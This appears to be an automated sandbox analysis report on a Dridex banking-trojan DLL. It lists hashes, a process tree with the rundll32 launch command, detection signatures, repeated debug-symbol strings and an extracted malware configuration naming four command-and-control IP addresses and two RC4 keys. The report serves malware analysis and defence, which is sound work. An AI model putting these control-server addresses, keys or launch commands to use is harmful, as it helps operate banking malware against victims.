Loading ...

Play interactive tourEdit tour

Windows Analysis Report SecuriteInfo.com.W32.AIDetect.malware2.28165.dll

Overview

General Information

Sample Name:SecuriteInfo.com.W32.AIDetect.malware2.28165.dll
Analysis ID:544258
MD5:9d86b7a93411bd7cc5c68b4f49709c27
SHA1:199faa9305b8a1f6645c07098990ac62da6a7d4d
SHA256:03d956e36d96255794c7999c52cbc3ea5fc6ec52193a0a3db40e7fb1414b6219
Tags:dll
Infos:

Most interesting Screenshot:

Detection

Dridex
Score:76
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Yara detected Dridex unpacked file
Multi AV Scanner detection for submitted file
Sigma detected: Suspicious Call by Ordinal
Tries to delay execution (extensive OutputDebugStringW loop)
C2 URLs / IPs found in malware configuration
Uses 32bit PE files
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
AV process strings found (often used to terminate AV products)
Sample file is different than original file name gathered from version info
One or more processes crash
Contains functionality to query locales information (e.g. system language)
Uses code obfuscation techniques (call, push, ret)
Checks if the current process is being debugged
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to call native functions
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Creates a process in suspended mode (likely to inject code)
IP address seen in connection with other malware
Entry point lies outside standard sections
Abnormal high CPU Usage

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 7112 cmdline: loaddll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 7124 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 7156 cmdline: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • WerFault.exe (PID: 6408 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 684 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
  • cleanup

Malware Configuration

Threatname: Dridex

{"Version": 22201, "C2 list": ["144.91.122.102:443", "85.10.248.28:593", "185.4.135.27:5228", "80.211.3.13:8116"], "RC4 keys": ["3IC8sFlUX9XZuoBQY9u5LhcZnHsV7E5r", "hnk63OiMfIbUqQnY7gkPwplwC0Ue5ZkZBYMCTYTjntqX7zsy9OvtNUlthJZXRtFF6P52Zbz6R5"]}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000002.00000000.663271333.000000006E751000.00000020.00020000.sdmpJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
    00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmpJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
      00000002.00000000.664478156.000000006E751000.00000020.00020000.sdmpJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
        00000002.00000002.695754483.000000006E751000.00000020.00020000.sdmpJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          0.2.loaddll32.exe.6e750000.2.unpackJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
            2.0.rundll32.exe.6e750000.2.unpackJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
              2.2.rundll32.exe.6e750000.2.unpackJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
                2.0.rundll32.exe.6e750000.5.unpackJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security

                  Sigma Overview

                  System Summary:

                  barindex
                  Sigma detected: Suspicious Call by OrdinalShow sources
                  Source: Process startedAuthor: Florian Roth: Data: Command: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll",#1, CommandLine: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll",#1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7124, ProcessCommandLine: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll",#1, ProcessId: 7156

                  Jbx Signature Overview

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection:

                  barindex
                  Found malware configurationShow sources
                  Source: 2.2.rundll32.exe.6e750000.2.unpackMalware Configuration Extractor: Dridex {"Version": 22201, "C2 list": ["144.91.122.102:443", "85.10.248.28:593", "185.4.135.27:5228", "80.211.3.13:8116"], "RC4 keys": ["3IC8sFlUX9XZuoBQY9u5LhcZnHsV7E5r", "hnk63OiMfIbUqQnY7gkPwplwC0Ue5ZkZBYMCTYTjntqX7zsy9OvtNUlthJZXRtFF6P52Zbz6R5"]}
                  Multi AV Scanner detection for submitted fileShow sources
                  Source: SecuriteInfo.com.W32.AIDetect.malware2.28165.dllVirustotal: Detection: 19%Perma Link
                  Source: SecuriteInfo.com.W32.AIDetect.malware2.28165.dllReversingLabs: Detection: 23%
                  Source: SecuriteInfo.com.W32.AIDetect.malware2.28165.dllStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                  Source: SecuriteInfo.com.W32.AIDetect.malware2.28165.dllStatic PE information: DYNAMIC_BASE, NX_COMPAT
                  Source: Binary string: profapi.pdb! source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wkernel32.pdb source: WerFault.exe, 00000007.00000003.668453300.0000000002EE5000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668264334.0000000002EE5000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668240835.0000000004F50000.00000004.00000001.sdmp
                  Source: Binary string: shlwapi.pdb+ source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: sfc_os.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: bcrypt.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: ucrtbase.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: msvcrt.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: dwmapi.pdb" source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wrpcrt4.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: wntdll.pdb source: loaddll32.exe, 00000000.00000003.667178698.000000004B280000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668889853.0000000002EDF000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668259172.0000000002EDF000.00000004.00000001.sdmp
                  Source: Binary string: winspool.pdb5 source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: shcore.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: wgdi32.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: advapi32.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: fltLib.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wsspicli.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wsspicli.pdb- source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: shell32.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: propsys.pdb3 source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: msvcp_win.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: wimm32.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wkernelbase.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668644186.0000000002EEB000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668269654.0000000002EEB000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668457629.0000000002EEB000.00000004.00000001.sdmp
                  Source: Binary string: shlwapi.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: mpr.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: wwin32u.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: setupapi.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wUxTheme.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: imagehlp.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: dwmapi.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: RFFGTEQ.pdb source: SecuriteInfo.com.W32.AIDetect.malware2.28165.dll
                  Source: Binary string: wntdll.pdb( source: WerFault.exe, 00000007.00000003.668889853.0000000002EDF000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668259172.0000000002EDF000.00000004.00000001.sdmp
                  Source: Binary string: shcore.pdbk source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: profapi.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: ws2_32.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: winspool.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wgdi32full.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: shell32.pdbk source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: sechost.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: iphlpapi.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: msctf.pdbN source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: propsys.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wntdll.pdbUGP source: loaddll32.exe, 00000000.00000003.667178698.000000004B280000.00000004.00000001.sdmp
                  Source: Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: mpr.pdb^ source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: ucrtbase.pdbk source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: powrprof.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: msctf.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: AcLayers.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: sfc.pdb] source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: cryptbase.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: setupapi.pdb? source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wkernelbase.pdb( source: WerFault.exe, 00000007.00000003.668644186.0000000002EEB000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668269654.0000000002EEB000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668457629.0000000002EEB000.00000004.00000001.sdmp
                  Source: Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: cfgmgr32.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: combase.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: Windows.Storage.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: fltLib.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wkernel32.pdb( source: WerFault.exe, 00000007.00000003.668453300.0000000002EE5000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668264334.0000000002EE5000.00000004.00000001.sdmp
                  Source: Binary string: rundll32.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: oleaut32.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: sfc.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: apphelp.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: wuser32.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp

                  Networking:

                  barindex
                  C2 URLs / IPs found in malware configurationShow sources
                  Source: Malware configuration extractorIPs: 144.91.122.102:443
                  Source: Malware configuration extractorIPs: 85.10.248.28:593
                  Source: Malware configuration extractorIPs: 185.4.135.27:5228
                  Source: Malware configuration extractorIPs: 80.211.3.13:8116
                  Source: Joe Sandbox ViewASN Name: TOPHOSTGR TOPHOSTGR
                  Source: Joe Sandbox ViewASN Name: HETZNER-ASDE HETZNER-ASDE
                  Source: Joe Sandbox ViewASN Name: ARUBA-ASNIT ARUBA-ASNIT
                  Source: Joe Sandbox ViewIP Address: 185.4.135.27 185.4.135.27
                  Source: Joe Sandbox ViewIP Address: 85.10.248.28 85.10.248.28
                  Source: Joe Sandbox ViewIP Address: 80.211.3.13 80.211.3.13
                  Source: WerFault.exe, 00000007.00000002.691773134.0000000004E90000.00000004.00000001.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
                  Source: Amcache.hve.7.drString found in binary or memory: http://upx.sf.net
                  Source: loaddll32.exe, 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp, rundll32.exe, 00000002.00000000.664536372.000000006E76F000.00000002.00020000.sdmpString found in binary or memory: http://www.forex-broker.websiteDVarFileInfo$

                  E-Banking Fraud:

                  barindex
                  Yara detected Dridex unpacked fileShow sources
                  Source: Yara matchFile source: 0.2.loaddll32.exe.6e750000.2.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 2.0.rundll32.exe.6e750000.2.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 2.2.rundll32.exe.6e750000.2.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 2.0.rundll32.exe.6e750000.5.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000002.00000000.663271333.000000006E751000.00000020.00020000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000002.00000000.664478156.000000006E751000.00000020.00020000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000002.00000002.695754483.000000006E751000.00000020.00020000.sdmp, type: MEMORY

                  System Summary:

                  barindex
                  Source: SecuriteInfo.com.W32.AIDetect.malware2.28165.dllStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                  Source: SecuriteInfo.com.W32.AIDetect.malware2.28165.dllBinary or memory string: OriginalFilenameIha.dllD vs SecuriteInfo.com.W32.AIDetect.malware2.28165.dll
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 684
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6E7607300_2_6E760730
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6E7693700_2_6E769370
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6E76143C0_2_6E76143C
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6E7584280_2_6E758428
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6E75A4E80_2_6E75A4E8
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6E7514940_2_6E751494
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6E762234 NtDelayExecution,0_2_6E762234
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6E762820 NtAllocateVirtualMemory,0_2_6E762820
                  Source: C:\Windows\System32\loaddll32.exeProcess Stats: CPU usage > 98%
                  Source: SecuriteInfo.com.W32.AIDetect.malware2.28165.dllVirustotal: Detection: 19%
                  Source: SecuriteInfo.com.W32.AIDetect.malware2.28165.dllReversingLabs: Detection: 23%
                  Source: C:\Windows\System32\loaddll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll",#1
                  Source: unknownProcess created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll"
                  Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll",#1
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll",#1
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 684
                  Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll",#1Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll",#1Jump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7156
                  Source: C:\Windows\SysWOW64\WerFault.exeFile created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER6137.tmpJump to behavior
                  Source: classification engineClassification label: mal76.troj.evad.winDLL@6/6@0/4
                  Source: C:\Windows\SysWOW64\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                  Source: SecuriteInfo.com.W32.AIDetect.malware2.28165.dllStatic PE information: DYNAMIC_BASE, NX_COMPAT
                  Source: SecuriteInfo.com.W32.AIDetect.malware2.28165.dllStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                  Source: Binary string: profapi.pdb! source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wkernel32.pdb source: WerFault.exe, 00000007.00000003.668453300.0000000002EE5000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668264334.0000000002EE5000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668240835.0000000004F50000.00000004.00000001.sdmp
                  Source: Binary string: shlwapi.pdb+ source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: sfc_os.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: bcrypt.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: ucrtbase.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: msvcrt.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: dwmapi.pdb" source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wrpcrt4.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: wntdll.pdb source: loaddll32.exe, 00000000.00000003.667178698.000000004B280000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668889853.0000000002EDF000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668259172.0000000002EDF000.00000004.00000001.sdmp
                  Source: Binary string: winspool.pdb5 source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: shcore.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: wgdi32.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: advapi32.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: fltLib.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wsspicli.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wsspicli.pdb- source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: shell32.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: propsys.pdb3 source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: msvcp_win.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: wimm32.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wkernelbase.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668644186.0000000002EEB000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668269654.0000000002EEB000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668457629.0000000002EEB000.00000004.00000001.sdmp
                  Source: Binary string: shlwapi.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: mpr.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: wwin32u.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: setupapi.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wUxTheme.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: imagehlp.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: dwmapi.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: RFFGTEQ.pdb source: SecuriteInfo.com.W32.AIDetect.malware2.28165.dll
                  Source: Binary string: wntdll.pdb( source: WerFault.exe, 00000007.00000003.668889853.0000000002EDF000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668259172.0000000002EDF000.00000004.00000001.sdmp
                  Source: Binary string: shcore.pdbk source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: profapi.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: ws2_32.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: winspool.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wgdi32full.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: shell32.pdbk source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: sechost.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: iphlpapi.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: msctf.pdbN source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: propsys.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wntdll.pdbUGP source: loaddll32.exe, 00000000.00000003.667178698.000000004B280000.00000004.00000001.sdmp
                  Source: Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: mpr.pdb^ source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: ucrtbase.pdbk source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: powrprof.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: msctf.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: AcLayers.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: sfc.pdb] source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: cryptbase.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: setupapi.pdb? source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wkernelbase.pdb( source: WerFault.exe, 00000007.00000003.668644186.0000000002EEB000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668269654.0000000002EEB000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668457629.0000000002EEB000.00000004.00000001.sdmp
                  Source: Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: cfgmgr32.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: combase.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: Windows.Storage.pdb source: WerFault.exe, 00000007.00000003.672793536.0000000005290000.00000004.00000040.sdmp
                  Source: Binary string: fltLib.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: wkernel32.pdb( source: WerFault.exe, 00000007.00000003.668453300.0000000002EE5000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.668264334.0000000002EE5000.00000004.00000001.sdmp
                  Source: Binary string: rundll32.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: oleaut32.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
                  Source: Binary string: sfc.pdb source: WerFault.exe, 00000007.00000003.672800912.0000000005296000.00000004.00000040.sdmp
